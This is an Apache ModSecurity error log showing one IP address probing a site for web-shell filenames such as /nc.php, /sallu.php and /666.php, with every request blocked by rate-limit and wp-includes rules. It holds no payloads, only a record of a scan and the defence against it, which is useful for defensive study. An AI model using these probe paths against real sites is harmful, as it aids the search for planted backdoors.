[Tue Nov 25 20:04:13.900449 2025] [:error] [pid 14078:tid 14145] [client 20.196.125.130:30583] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/AxAo.php"] [unique_id "aSWbPdVXYbb0ii_rVoJOSAAAAIg"]
[Tue Nov 25 20:04:14.388930 2025] [:error] [pid 14077:tid 14110] [client 20.196.125.130:30523] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/AxAo.php"] [unique_id "aSWbPhG9n7UHEkwDTyigswAAAEA"]
[Tue Nov 25 20:04:14.843622 2025] [:error] [pid 28842:tid 29002] [client 20.196.125.130:30560] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aSWbPtNmoaPf6T4-6C2eCAAAA0w"]
[Tue Nov 25 20:04:15.148070 2025] [:error] [pid 14076:tid 14081] [client 20.196.125.130:30651] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aSWbP3sB4Gz6Qw-pvBseLAAAAAA"]
[Tue Nov 25 20:04:15.612157 2025] [:error] [pid 14076:tid 14099] [client 20.196.125.130:30548] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aSWbP3sB4Gz6Qw-pvBseMAAAABI"]
[Tue Nov 25 20:04:15.972274 2025] [:error] [pid 28740:tid 28812] [client 20.196.125.130:30637] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aSWbP1ppQCoYxWW6V0WL-gAAAlU"]
[Tue Nov 25 20:04:16.356402 2025] [:error] [pid 28740:tid 28795] [client 20.196.125.130:30530] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc.php"] [unique_id "aSWbQFppQCoYxWW6V0WL_gAAAkQ"]
[Tue Nov 25 20:04:16.702250 2025] [:error] [pid 14077:tid 14114] [client 20.196.125.130:30590] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc.php"] [unique_id "aSWbQBG9n7UHEkwDTyigvAAAAEQ"]
[Tue Nov 25 20:04:17.062499 2025] [:error] [pid 28836:tid 29007] [client 20.196.125.130:30532] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc.php"] [unique_id "aSWbQZwNRsoxcLQGkTfKXwAAAtE"]
[Tue Nov 25 20:04:17.573357 2025] [:error] [pid 14077:tid 14119] [client 20.196.125.130:30641] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc.php"] [unique_id "aSWbQRG9n7UHEkwDTyigwAAAAEk"]
[Tue Nov 25 20:04:17.970502 2025] [:error] [pid 14076:tid 14083] [client 20.196.125.130:30474] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aSWbQXsB4Gz6Qw-pvBseOQAAAAI"]
[Tue Nov 25 20:04:18.363984 2025] [:error] [pid 14168:tid 14173] [client 20.196.125.130:30519] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aSWbQvR-ZDU0QEgAIIttmAAAAMI"]
[Tue Nov 25 20:04:18.782893 2025] [:error] [pid 28609:tid 28632] [client 20.196.125.130:30644] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aSWbQiGGdT-nZJVs3x3K5QAAAY4"]
[Tue Nov 25 20:04:19.094793 2025] [:error] [pid 14077:tid 14131] [client 20.196.125.130:30538] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aSWbQxG9n7UHEkwDTyigwwAAAFU"]
[Tue Nov 25 20:04:19.430537 2025] [:error] [pid 14078:tid 14141] [client 20.196.125.130:30514] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hook.php"] [unique_id "aSWbQ9VXYbb0ii_rVoJOVAAAAIQ"]
[Tue Nov 25 20:04:19.831180 2025] [:error] [pid 14078:tid 14139] [client 20.196.125.130:30174] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hook.php"] [unique_id "aSWbQ9VXYbb0ii_rVoJOVgAAAII"]
[Tue Nov 25 20:04:20.160804 2025] [:error] [pid 14077:tid 14118] [client 20.196.125.130:30509] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hook.php"] [unique_id "aSWbRBG9n7UHEkwDTyigyAAAAEg"]
[Tue Nov 25 20:04:20.530087 2025] [:error] [pid 28740:tid 28807] [client 20.196.125.130:30503] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hook.php"] [unique_id "aSWbRFppQCoYxWW6V0WMBgAAAlA"]
[Tue Nov 25 20:04:20.866832 2025] [:error] [pid 28842:tid 28991] [client 20.196.125.130:30205] [client 20.196.125.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aSWbRNNmoaPf6T4-6C2eGwAAA0E"]
[Tue Nov 25 20:04:21.256647 2025] [:error] [pid 14077:tid 14116] [client 20.196.125.130:30570] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aSWbRRG9n7UHEkwDTyig0gAAAEY"]
[Tue Nov 25 20:04:21.659642 2025] [:error] [pid 14077:tid 14127] [client 20.196.125.130:30144] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aSWbRRG9n7UHEkwDTyig1AAAAFE"]
[Tue Nov 25 20:04:22.506463 2025] [:error] [pid 14077:tid 14131] [client 20.196.125.130:30495] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aSWbRhG9n7UHEkwDTyig3gAAAFU"]
[Tue Nov 25 20:04:22.861874 2025] [:error] [pid 14078:tid 14154] [client 20.196.125.130:30155] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aSWbRtVXYbb0ii_rVoJObwAAAJE"]
[Tue Nov 25 20:04:23.268033 2025] [:error] [pid 14077:tid 14117] [client 20.196.125.130:30522] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffile.php"] [unique_id "aSWbRxG9n7UHEkwDTyig4QAAAEc"]
[Tue Nov 25 20:04:23.669221 2025] [:error] [pid 14077:tid 14134] [client 20.196.125.130:30580] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffile.php"] [unique_id "aSWbRxG9n7UHEkwDTyig4wAAAFg"]
[Tue Nov 25 20:04:24.010031 2025] [:error] [pid 28609:tid 28632] [client 20.196.125.130:30145] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffile.php"] [unique_id "aSWbSCGGdT-nZJVs3x3K9gAAAY4"]
[Tue Nov 25 20:04:24.472501 2025] [:error] [pid 28609:tid 28624] [client 20.196.125.130:30642] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffile.php"] [unique_id "aSWbSCGGdT-nZJVs3x3K-AAAAYY"]
[Tue Nov 25 20:04:24.850111 2025] [:error] [pid 14078:tid 14142] [client 20.196.125.130:30652] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sallu.php"] [unique_id "aSWbSNVXYbb0ii_rVoJOcAAAAIU"]
[Tue Nov 25 20:04:25.257505 2025] [:error] [pid 14168:tid 14194] [client 20.196.125.130:30160] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sallu.php"] [unique_id "aSWbSfR-ZDU0QEgAIIttqgAAANc"]
[Tue Nov 25 20:04:25.623137 2025] [:error] [pid 14077:tid 14113] [client 20.196.125.130:30182] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sallu.php"] [unique_id "aSWbSRG9n7UHEkwDTyig7AAAAEM"]
[Tue Nov 25 20:04:26.006394 2025] [:error] [pid 14077:tid 14110] [client 20.196.125.130:30468] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sallu.php"] [unique_id "aSWbShG9n7UHEkwDTyig7wAAAEA"]
[Tue Nov 25 20:04:26.330667 2025] [:error] [pid 14077:tid 14125] [client 20.196.125.130:30491] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aSWbShG9n7UHEkwDTyig8gAAAE8"]
[Tue Nov 25 20:04:26.694561 2025] [:error] [pid 14078:tid 14158] [client 20.196.125.130:30465] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aSWbStVXYbb0ii_rVoJOeQAAAJU"]
[Tue Nov 25 20:04:27.070845 2025] [:error] [pid 14077:tid 14112] [client 20.196.125.130:30565] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aSWbSxG9n7UHEkwDTyig9QAAAEI"]
[Tue Nov 25 20:04:27.481951 2025] [:error] [pid 14077:tid 14111] [client 20.196.125.130:30581] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aSWbSxG9n7UHEkwDTyig-AAAAEE"]
[Tue Nov 25 20:04:28.078171 2025] [:error] [pid 28609:tid 28627] [client 20.196.125.130:30510] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/sallu.php"] [unique_id "aSWbTCGGdT-nZJVs3x3K_AAAAYk"]
[Tue Nov 25 20:04:28.434110 2025] [:error] [pid 14077:tid 14125] [client 20.196.125.130:30531] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/sallu.php"] [unique_id "aSWbTBG9n7UHEkwDTyig_gAAAE8"]
[Tue Nov 25 20:04:28.779857 2025] [:error] [pid 14077:tid 14122] [client 20.196.125.130:30549] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/sallu.php"] [unique_id "aSWbTBG9n7UHEkwDTyig_wAAAEw"]
[Tue Nov 25 20:04:29.126724 2025] [:error] [pid 14077:tid 14128] [client 20.196.125.130:30658] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/sallu.php"] [unique_id "aSWbTRG9n7UHEkwDTyihAQAAAFI"]
[Tue Nov 25 20:04:29.486763 2025] [:error] [pid 14076:tid 14092] [client 20.196.125.130:30587] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aSWbTXsB4Gz6Qw-pvBseSwAAAAs"]
[Tue Nov 25 20:04:29.809604 2025] [:error] [pid 28739:tid 28774] [client 20.196.125.130:30493] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aSWbTRxGpKmlkG4FexSCJwAAAgw"]
[Tue Nov 25 20:04:30.250517 2025] [:error] [pid 2987:tid 2997] [client 20.196.125.130:30166] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aSWbTs-djEt-pTzPxnyqXAAAAUg"]
[Tue Nov 25 20:04:30.601903 2025] [:error] [pid 14168:tid 14188] [client 20.196.125.130:30151] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aSWbTvR-ZDU0QEgAIIttvAAAANE"]
[Tue Nov 25 20:04:30.954276 2025] [:error] [pid 14076:tid 14095] [client 20.196.125.130:30553] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aSWbTnsB4Gz6Qw-pvBseUAAAAA4"]
[Tue Nov 25 20:04:31.368527 2025] [:error] [pid 14077:tid 14117] [client 20.196.125.130:30579] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aSWbTxG9n7UHEkwDTyihBQAAAEc"]
[Tue Nov 25 20:04:31.845680 2025] [:error] [pid 28609:tid 28627] [client 20.196.125.130:30179] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aSWbTyGGdT-nZJVs3x3LDAAAAYk"]
[Tue Nov 25 20:04:32.318253 2025] [:error] [pid 2987:tid 3008] [client 20.196.125.130:30633] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aSWbUM-djEt-pTzPxnyqYwAAAVM"]
[Tue Nov 25 20:04:32.649439 2025] [:error] [pid 2987:tid 3007] [client 20.196.125.130:30176] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wb.php"] [unique_id "aSWbUM-djEt-pTzPxnyqZAAAAVI"]
[Tue Nov 25 20:04:33.338725 2025] [:error] [pid 28739:tid 28770] [client 20.196.125.130:30487] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wb.php"] [unique_id "aSWbURxGpKmlkG4FexSCNAAAAgg"]
[Tue Nov 25 20:04:33.699562 2025] [:error] [pid 28609:tid 28635] [client 20.196.125.130:30469] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wb.php"] [unique_id "aSWbUSGGdT-nZJVs3x3LGQAAAZE"]
[Tue Nov 25 20:04:34.027390 2025] [:error] [pid 28836:tid 29011] [client 20.196.125.130:30520] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wb.php"] [unique_id "aSWbUpwNRsoxcLQGkTfKeAAAAtU"]
[Tue Nov 25 20:04:34.500658 2025] [:error] [pid 28836:tid 29008] [client 20.196.125.130:30161] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "aSWbUpwNRsoxcLQGkTfKewAAAtI"]
[Tue Nov 25 20:04:34.842998 2025] [:error] [pid 28842:tid 29024] [client 20.196.125.130:30164] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "aSWbUtNmoaPf6T4-6C2eOgAAA1Y"]
[Tue Nov 25 20:04:35.294658 2025] [:error] [pid 14077:tid 14132] [client 20.196.125.130:30162] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "aSWbUxG9n7UHEkwDTyihCQAAAFY"]
[Tue Nov 25 20:04:35.804028 2025] [:error] [pid 28609:tid 28621] [client 20.196.125.130:30482] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "aSWbUyGGdT-nZJVs3x3LHQAAAYM"]
[Tue Nov 25 20:04:36.108648 2025] [:error] [pid 2987:tid 2991] [client 20.196.125.130:30526] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aSWbVM-djEt-pTzPxnyqbgAAAUI"]
